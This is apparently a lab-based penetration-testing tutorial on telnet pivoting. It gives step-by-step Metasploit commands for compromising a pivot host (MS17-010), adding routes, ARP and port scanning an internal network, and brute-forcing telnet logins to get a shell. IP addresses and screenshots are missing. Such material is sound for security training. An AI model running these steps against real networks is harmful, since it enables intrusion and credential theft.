Kali Linux, Penetration Testing

Telnet Pivoting through Meterpreter

In our previous tutorial, we had discussed on SSH pivoting and today we are going to discuss Telnet pivoting.

From Offensive Security

Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.

Lab Setup requirement:

Attacker machine: Kali Linux

Pivot Machine (client): window operating system with two network interface

Target Machine: Ubuntu server (Allow telnet service)

Exploit pivot machine

Use exploit MS17-010 or multi handler to hack the pivot machine.


From the given image, you can confirm that I owned a pivot machine ( meterpreter session1.

Check the network interface through the following command:

meterpreter> ifconfig

From the given image you can observe two networks interface in pivot’s system 1st for IP through which the attacker is connected and 2nd for IP through which telnet server (targets) are connected.

Route Add

Since the attacker belongs to the interface and target belongs to interface, therefore, it is not possible to directly make an attack on the target network until unless the attacker acquires the same network connection. In order to achieve a network attacker need to run the post exploitation “autoroute”.

use post/multi/manage/autoroute 
msf post(autoroute) > set session 1
msf post(autoroute) > exploit

This Module will perform an ARP scan for a given IP range through a Meterpreter Session.

use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts
msf post(arp_scanner) > set session 1
msf post(arp_scanner) > set thread 20
msf post(arp_scanner) > exploit

 Here we found a new IP as shown in the given image. Let’s perform TCP port scan for activated services on this machine.

This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.

use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 23
msf auxiliary(tcp) > set rhosts
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit

From given you can observe port 23 is open and we know that port 23 is used for telnet service.

Use Telnet login Brute Force Attack

An attacker always tries to make a brute force attack for stealing credential for unauthorized access.

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Now type the following command to Brute force TELNET login:

use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts
msf auxiliary(telnet_login) > set user_file /root/Desktop/user
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass
msf auxiliary(telnet_login) > exploit

From given image you can observe that TELNET server is not secure against brute force attack because it is showing a matching combination of username: aarti and password: 123 for login simultaneously it has opened victims command shell as session 2

Let’s count the number of victim sessions we have hold using the following command:


From the given image you can observe there are two sessions 1st as the meterpreter session of windows system and 2nd as command shell of the telnet server.

sessions 2

Now attacker is command shell of the server, let’s verify through network configuration.


From given, you can observe the network IP is

 Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here